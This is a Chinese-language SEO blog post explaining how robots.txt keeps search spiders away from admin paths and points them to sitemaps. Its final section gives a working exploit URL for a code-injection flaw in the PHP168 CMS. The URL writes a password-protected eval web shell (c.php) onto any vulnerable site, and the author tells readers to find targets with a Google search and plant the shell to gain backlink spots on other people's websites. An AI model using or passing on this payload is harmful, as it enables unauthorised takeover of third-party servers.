网站优化robots协议有什么重要作用

　　现在几乎所有的搜索引擎蜘蛛程序都能够识别robots协议，尽管较近的3B大战中百度跟360双方都出现过不遵守robots协议的情况，但这毕竟只是特例，一般情况下robots协议还是必须要遵守的。

　　今天就说一下robots协议在网站优化过程中的重要性。

　　首先我们要对自己优化的网站做一个robots协议，一方面是禁止蜘蛛抓取网站的个人隐私，或者网站敏感目录等，其实大家在没有经历网站被黑之前一般人不会感觉到robots协议的重要，其实很多时候黑客攻击一个网站都是从搜索引擎入手的，比如你的网站管理路径是/admin/而且你没有在robots协议中注明禁止蜘蛛抓取的话，那么蜘蛛很有可能就会通过爬行抓取到你的网站管理后台地址，这样搜索引擎就会收录你网站管理地址中对应的链接。如果你的网站存在漏洞，那么黑客就会借助搜索引擎搜索你的后台路径中可能存在漏洞的页面，这也很容易暴露你网站后台管理权限。

　　其次，我们做网站优化时写一个robots协议文件，在协议中注明网站地图索引文件的路径可以直接通知蜘蛛按照我们编排的索引去抓取网站内容，可能实现更好的网站内容收录。

　　较后，我们借助很多网站没有使用robots协议这一特点，可以通过搜索引擎(尤其是谷歌)查询到很多高质量的外链发布地址，这里我给大家举一个例子，著名的开源程序PHP168中就有一个这样的漏洞，如果使用这个开源程序的站长没有使用robots协议限制蜘蛛抓取member目录的话，那么我们通过谷歌查询“/member/post.php”就能找到很多这样的网址，然后我们把找到的网址后半截改写成：/member/post.php?only=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}&aid=1&job=endHTML

　　然后直接在浏览器中访问，就会在目录下生成一个member/c.php 密码为c的文件。这对于我们来说可是的外链资源，哈哈!!

　　当然很多网站都有漏洞，我就不一一列举了。

未经允许不得转载：深深算网络 » 网站优化robots协议有什么重要作用